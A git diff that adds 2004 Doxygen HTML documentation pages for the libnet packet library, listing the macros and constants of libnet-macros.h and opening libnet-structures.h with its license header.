+00080 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PR8 1</span>
+00081 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PR16 2</span>
+00082 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PRu16 3</span>
+00083 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PR32 4</span>
+00084 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PRu32 5</span>
+00085 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_PRAND_MAX 0xffffffff</span>
+00086 <span class="preprocessor"></span>
+<a name="l00090"></a><a class="code" href="libnet-macros_8h.html#a12">00090</a> <span class="preprocessor">#define LIBNET_MAX_PACKET 0xffff</span>
+00091 <span class="preprocessor"></span><span class="preprocessor">#ifndef IP_MAXPACKET</span>
+00092 <span class="preprocessor"></span><span class="preprocessor">#define IP_MAXPACKET 0xffff</span>
+00093 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00094 <span class="preprocessor"></span>
+00095
+00096 <span class="comment">/* ethernet addresses are 6 octets long */</span>
+00097 <span class="preprocessor">#ifndef ETHER_ADDR_LEN</span>
+00098 <span class="preprocessor"></span><span class="preprocessor">#define ETHER_ADDR_LEN 0x6</span>
+00099 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00100 <span class="preprocessor"></span>
+00101 <span class="comment">/* FDDI addresses are 6 octets long */</span>
+00102 <span class="preprocessor">#ifndef FDDI_ADDR_LEN</span>
+00103 <span class="preprocessor"></span><span class="preprocessor">#define FDDI_ADDR_LEN 0x6</span>
+00104 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00105 <span class="preprocessor"></span>
+00106 <span class="comment">/* token ring addresses are 6 octets long */</span>
+00107 <span class="preprocessor">#ifndef TOKEN_RING_ADDR_LEN</span>
+00108 <span class="preprocessor"></span><span class="preprocessor">#define TOKEN_RING_ADDR_LEN 0x6</span>
+00109 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00110 <span class="preprocessor"></span>
+00111 <span class="comment">/* LLC Organization Code is 3 bytes long */</span>
+00112 <span class="preprocessor">#define LIBNET_ORG_CODE_SIZE 0x3</span>
+00113 <span class="preprocessor"></span>
+<a name="l00117"></a><a class="code" href="libnet-macros_8h.html#a18">00117</a> <span class="preprocessor">#define LIBNET_ERRBUF_SIZE 0x100</span>
+00118 <span class="preprocessor"></span>
+<a name="l00122"></a><a class="code" href="libnet-macros_8h.html#a19">00122</a> <span class="preprocessor">#define LIBNET_MAXOPTION_SIZE 0x28</span>
+00123 <span class="preprocessor"></span>
+00124 <span class="comment">/* some BSD variants have this endianess problem */</span>
+00125 <span class="preprocessor">#if (LIBNET_BSD_BYTE_SWAP)</span>
+00126 <span class="preprocessor"></span><span class="preprocessor">#define FIX(n) ntohs(n)</span>
+00127 <span class="preprocessor"></span><span class="preprocessor">#define UNFIX(n) htons(n)</span>
+00128 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00129 <span class="preprocessor"></span><span class="preprocessor">#define FIX(n) (n)</span>
+00130 <span class="preprocessor"></span><span class="preprocessor">#define UNFIX(n) (n)</span>
+00131 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00132 <span class="preprocessor"></span>
+00133 <span class="comment">/* used internally for checksum stuff */</span>
+00134 <span class="preprocessor">#define LIBNET_CKSUM_CARRY(x) \</span>
+00135 <span class="preprocessor"> (x = (x &gt;&gt; 16) + (x &amp; 0xffff), (~(x + (x &gt;&gt; 16)) &amp; 0xffff))</span>
+00136 <span class="preprocessor"></span>
+00137 <span class="comment">/* used interally for OSPF stuff */</span>
+00138 <span class="preprocessor">#define LIBNET_OSPF_AUTHCPY(x, y) \</span>
+00139 <span class="preprocessor"> memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))</span>
+00140 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_OSPF_CKSUMBUF(x, y) \</span>
+00141 <span class="preprocessor"> memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y)) </span>
+00142 <span class="preprocessor"></span>
+00143 <span class="comment">/* used internally for NTP leap indicator, version, and mode */</span>
+00144 <span class="preprocessor">#define LIBNET_NTP_DO_LI_VN_MODE(li, vn, md) \</span>
+00145 <span class="preprocessor"> ((u_int8_t)((((li) &lt;&lt; 6) &amp; 0xc0) | (((vn) &lt;&lt; 3) &amp; 0x38) | ((md) &amp; 0x7)))</span>
+00146 <span class="preprocessor"></span>
+00147 <span class="comment">/* Not all systems have IFF_LOOPBACK */</span>
+00148 <span class="preprocessor">#ifdef IFF_LOOPBACK</span>
+00149 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_ISLOOPBACK(p) ((p)-&gt;ifr_flags &amp; IFF_LOOPBACK)</span>
+00150 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00151 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_ISLOOPBACK(p) (strcmp((p)-&gt;ifr_name, "lo0") == 0)</span>
+00152 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00153 <span class="preprocessor"></span>
+00154 <span class="comment">/* advanced mode check */</span>
+00155 <span class="preprocessor">#define LIBNET_ISADVMODE(x) (x &amp; 0x08)</span>
+00156 <span class="preprocessor"></span>
+00157 <span class="comment">/* context queue macros and constants */</span>
+00158 <span class="preprocessor">#define LIBNET_LABEL_SIZE 64</span>
+00159 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_LABEL_DEFAULT "cardshark"</span>
+00160 <span class="preprocessor"></span><span class="preprocessor">#define CQ_LOCK_UNLOCKED (u_int)0x00000000</span>
+00161 <span class="preprocessor"></span><span class="preprocessor">#define CQ_LOCK_READ (u_int)0x00000001</span>
+00162 <span class="preprocessor"></span><span class="preprocessor">#define CQ_LOCK_WRITE (u_int)0x00000002</span>
+00163 <span class="preprocessor"></span>
+<a name="l00169"></a><a class="code" href="libnet-macros_8h.html#a33">00169</a> <span class="preprocessor">#define for_each_context_in_cq(l) \</span>
+00170 <span class="preprocessor"> for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())</span>
+00171 <span class="preprocessor"></span>
+00172 <span class="comment">/* return 1 if write lock is set on cq */</span>
+00173 <span class="preprocessor">#define cq_is_wlocked() (l_cqd.cq_lock &amp; CQ_LOCK_WRITE)</span>
+00174 <span class="preprocessor"></span>
+00175 <span class="comment">/* return 1 if read lock is set on cq */</span>
+00176 <span class="preprocessor">#define cq_is_rlocked() (l_cqd.cq_lock &amp; CQ_LOCK_READ)</span>
+00177 <span class="preprocessor"></span>
+00178 <span class="comment">/* return 1 if any lock is set on cq */</span>
+00179 <span class="preprocessor">#define cq_is_locked() (l_cqd.cq_lock &amp; (CQ_LOCK_READ | CQ_LOCK_WRITE))</span>
+00180 <span class="preprocessor"></span>
+00181 <span class="comment">/* check if a context queue is locked */</span>
+00182 <span class="preprocessor">#define check_cq_lock(x) (l_cqd.cq_lock &amp; x)</span>
+00183 <span class="preprocessor"></span>
+00184 <span class="preprocessor">#endif </span><span class="comment">/* __LIBNET_MACROS_H */</span>
+00185
+00186 <span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-macros_8h.html b/libnet/doc/html/libnet-macros_8h.html
new file mode 100644
index 0000000..4ef2a5b
--- /dev/null
+++ b/libnet/doc/html/libnet-macros_8h.html
@@ -0,0 +1,358 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-macros.h File Reference</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-macros.h File Reference</h1>libnet macros and symbloc constants
+<a href="#_details">More...</a>
+<p>
+
+<p>
+<a href="libnet-macros_8h-source.html">Go to the source code of this file.</a><table border=0 cellpadding=0 cellspacing=0>
+<tr><td></td></tr>
+<tr><td colspan=2><br><h2>Defines</h2></td></tr>
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a0">LIBNET_DONT_RESOLVE</a>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a1">LIBNET_RESOLVE</a>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a2">LIBNET_ON</a>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a3">LIBNET_OFF</a>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a4">IN6ADDR_ERROR_INIT</a></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a5">LIBNET_PR2</a>&nbsp;&nbsp;&nbsp;0</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a6" doxytag="libnet-macros.h::LIBNET_PR8" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PR8</b>&nbsp;&nbsp;&nbsp;1</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a7" doxytag="libnet-macros.h::LIBNET_PR16" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PR16</b>&nbsp;&nbsp;&nbsp;2</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a8" doxytag="libnet-macros.h::LIBNET_PRu16" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PRu16</b>&nbsp;&nbsp;&nbsp;3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a9" doxytag="libnet-macros.h::LIBNET_PR32" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PR32</b>&nbsp;&nbsp;&nbsp;4</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a10" doxytag="libnet-macros.h::LIBNET_PRu32" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PRu32</b>&nbsp;&nbsp;&nbsp;5</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a11" doxytag="libnet-macros.h::LIBNET_PRAND_MAX" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_PRAND_MAX</b>&nbsp;&nbsp;&nbsp;0xffffffff</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a12">LIBNET_MAX_PACKET</a>&nbsp;&nbsp;&nbsp;0xffff</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a13" doxytag="libnet-macros.h::IP_MAXPACKET" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>IP_MAXPACKET</b>&nbsp;&nbsp;&nbsp;0xffff</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a14" doxytag="libnet-macros.h::ETHER_ADDR_LEN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHER_ADDR_LEN</b>&nbsp;&nbsp;&nbsp;0x6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a15" doxytag="libnet-macros.h::FDDI_ADDR_LEN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>FDDI_ADDR_LEN</b>&nbsp;&nbsp;&nbsp;0x6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a16" doxytag="libnet-macros.h::TOKEN_RING_ADDR_LEN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>TOKEN_RING_ADDR_LEN</b>&nbsp;&nbsp;&nbsp;0x6</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a17" doxytag="libnet-macros.h::LIBNET_ORG_CODE_SIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_ORG_CODE_SIZE</b>&nbsp;&nbsp;&nbsp;0x3</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a18">LIBNET_ERRBUF_SIZE</a>&nbsp;&nbsp;&nbsp;0x100</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a19">LIBNET_MAXOPTION_SIZE</a>&nbsp;&nbsp;&nbsp;0x28</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a20" doxytag="libnet-macros.h::FIX" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>FIX</b>(n)&nbsp;&nbsp;&nbsp;(n)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a21" doxytag="libnet-macros.h::UNFIX" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>UNFIX</b>(n)&nbsp;&nbsp;&nbsp;(n)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a22" doxytag="libnet-macros.h::LIBNET_CKSUM_CARRY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_CKSUM_CARRY</b>(x)&nbsp;&nbsp;&nbsp;(x = (x &gt;&gt; 16) + (x &amp; 0xffff), (~(x + (x &gt;&gt; 16)) &amp; 0xffff))</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a23" doxytag="libnet-macros.h::LIBNET_OSPF_AUTHCPY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_AUTHCPY</b>(x, y)&nbsp;&nbsp;&nbsp;memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a24" doxytag="libnet-macros.h::LIBNET_OSPF_CKSUMBUF" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_OSPF_CKSUMBUF</b>(x, y)&nbsp;&nbsp;&nbsp;memcpy((u_int8_t *)x, (u_int8_t *)y, sizeof(y))</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a25" doxytag="libnet-macros.h::LIBNET_NTP_DO_LI_VN_MODE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_NTP_DO_LI_VN_MODE</b>(li, vn, md)&nbsp;&nbsp;&nbsp;((u_int8_t)((((li) &lt;&lt; 6) &amp; 0xc0) | (((vn) &lt;&lt; 3) &amp; 0x38) | ((md) &amp; 0x7)))</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a26" doxytag="libnet-macros.h::LIBNET_ISLOOPBACK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_ISLOOPBACK</b>(p)&nbsp;&nbsp;&nbsp;(strcmp((p)-&gt;ifr_name, "lo0") == 0)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a27" doxytag="libnet-macros.h::LIBNET_ISADVMODE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_ISADVMODE</b>(x)&nbsp;&nbsp;&nbsp;(x &amp; 0x08)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a28" doxytag="libnet-macros.h::LIBNET_LABEL_SIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LABEL_SIZE</b>&nbsp;&nbsp;&nbsp;64</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a29" doxytag="libnet-macros.h::LIBNET_LABEL_DEFAULT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_LABEL_DEFAULT</b>&nbsp;&nbsp;&nbsp;"cardshark"</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a30" doxytag="libnet-macros.h::CQ_LOCK_UNLOCKED" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>CQ_LOCK_UNLOCKED</b>&nbsp;&nbsp;&nbsp;(u_int)0x00000000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a31" doxytag="libnet-macros.h::CQ_LOCK_READ" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>CQ_LOCK_READ</b>&nbsp;&nbsp;&nbsp;(u_int)0x00000001</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a32" doxytag="libnet-macros.h::CQ_LOCK_WRITE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>CQ_LOCK_WRITE</b>&nbsp;&nbsp;&nbsp;(u_int)0x00000002</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>#define&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="libnet-macros_8h.html#a33">for_each_context_in_cq</a>(l)&nbsp;&nbsp;&nbsp;for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a34" doxytag="libnet-macros.h::cq_is_wlocked" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>cq_is_wlocked</b>()&nbsp;&nbsp;&nbsp;(l_cqd.cq_lock &amp; CQ_LOCK_WRITE)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a35" doxytag="libnet-macros.h::cq_is_rlocked" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>cq_is_rlocked</b>()&nbsp;&nbsp;&nbsp;(l_cqd.cq_lock &amp; CQ_LOCK_READ)</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a36" doxytag="libnet-macros.h::cq_is_locked" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>cq_is_locked</b>()&nbsp;&nbsp;&nbsp;(l_cqd.cq_lock &amp; (CQ_LOCK_READ | CQ_LOCK_WRITE))</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a37" doxytag="libnet-macros.h::check_cq_lock" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>check_cq_lock</b>(x)&nbsp;&nbsp;&nbsp;(l_cqd.cq_lock &amp; x)</td></tr>
+
+</table>
+<hr><a name="_details"></a><h2>Detailed Description</h2>
+libnet macros and symbloc constants
+<p>
+<hr><h2>Define Documentation</h2>
+<a class="anchor" name="a33" doxytag="libnet-macros.h::for_each_context_in_cq" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define for_each_context_in_cq</td>
+ <td class="md" valign="top">(&nbsp;</td>
+ <td class="md" nowrap valign="top">l&nbsp;</td>
+ <td class="mdname1" valign="top" nowrap> </td>
+ <td class="md" valign="top">&nbsp;)&nbsp;</td>
+ <td class="md" nowrap>&nbsp;&nbsp;&nbsp;for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next())
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Provides an interface to iterate through the context queue of libnet contexts. Before calling this macro, be sure to set the queue using <a class="el" href="libnet-functions_8h.html#a108">libnet_cq_head()</a>. </td>
+ </tr>
+</table>
+<a class="anchor" name="a4" doxytag="libnet-macros.h::IN6ADDR_ERROR_INIT" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define IN6ADDR_ERROR_INIT
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+<b>Value:</b><div class="fragment"><pre>{ { { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \
+ 0xff, 0xff } } }
+</pre></div>IPv6 error code </td>
+ </tr>
+</table>
+<a class="anchor" name="a0" doxytag="libnet-macros.h::LIBNET_DONT_RESOLVE" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_DONT_RESOLVE&nbsp;&nbsp;&nbsp;0
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Used for libnet's name resolution functions, specifies that no DNS lookups should be performed and the IP address should be kept in numeric form. </td>
+ </tr>
+</table>
+<a class="anchor" name="a18" doxytag="libnet-macros.h::LIBNET_ERRBUF_SIZE" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ERRBUF_SIZE&nbsp;&nbsp;&nbsp;0x100
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+The libnet error buffer is 256 bytes long. </td>
+ </tr>
+</table>
+<a class="anchor" name="a12" doxytag="libnet-macros.h::LIBNET_MAX_PACKET" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_MAX_PACKET&nbsp;&nbsp;&nbsp;0xffff
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+The biggest an IP packet can be -- 65,535 bytes. </td>
+ </tr>
+</table>
+<a class="anchor" name="a19" doxytag="libnet-macros.h::LIBNET_MAXOPTION_SIZE" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_MAXOPTION_SIZE&nbsp;&nbsp;&nbsp;0x28
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+IP and TCP options can be up to 40 bytes long. </td>
+ </tr>
+</table>
+<a class="anchor" name="a3" doxytag="libnet-macros.h::LIBNET_OFF" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_OFF&nbsp;&nbsp;&nbsp;1
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Used several places, to specify "on" or "one" </td>
+ </tr>
+</table>
+<a class="anchor" name="a2" doxytag="libnet-macros.h::LIBNET_ON" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_ON&nbsp;&nbsp;&nbsp;0
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Used several places, to specify "on" or "one" </td>
+ </tr>
+</table>
+<a class="anchor" name="a5" doxytag="libnet-macros.h::LIBNET_PR2" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_PR2&nbsp;&nbsp;&nbsp;0
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Used for <a class="el" href="libnet-functions_8h.html#a12">libnet_get_prand()</a> to specify function disposition </td>
+ </tr>
+</table>
+<a class="anchor" name="a1" doxytag="libnet-macros.h::LIBNET_RESOLVE" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> #define LIBNET_RESOLVE&nbsp;&nbsp;&nbsp;1
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+Used for libnet's name resolution functions, specifies that a DNS lookup can be performed if needed to resolve the IP address to a canonical form. </td>
+ </tr>
+</table>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-structures_8h-source.html b/libnet/doc/html/libnet-structures_8h-source.html
new file mode 100644
index 0000000..438fe1f
--- /dev/null
+++ b/libnet/doc/html/libnet-structures_8h-source.html
@@ -0,0 +1,233 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-structures.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-structures.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet-structures.h,v 1.16 2004/02/16 23:13:38 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet-structures.h - Network routine library structures header file</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00010 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00011 <span class="comment"> * are met:</span>
+00012 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00013 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00014 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00015 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00016 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00017 <span class="comment"> *</span>
+00018 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00019 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00020 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00021 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
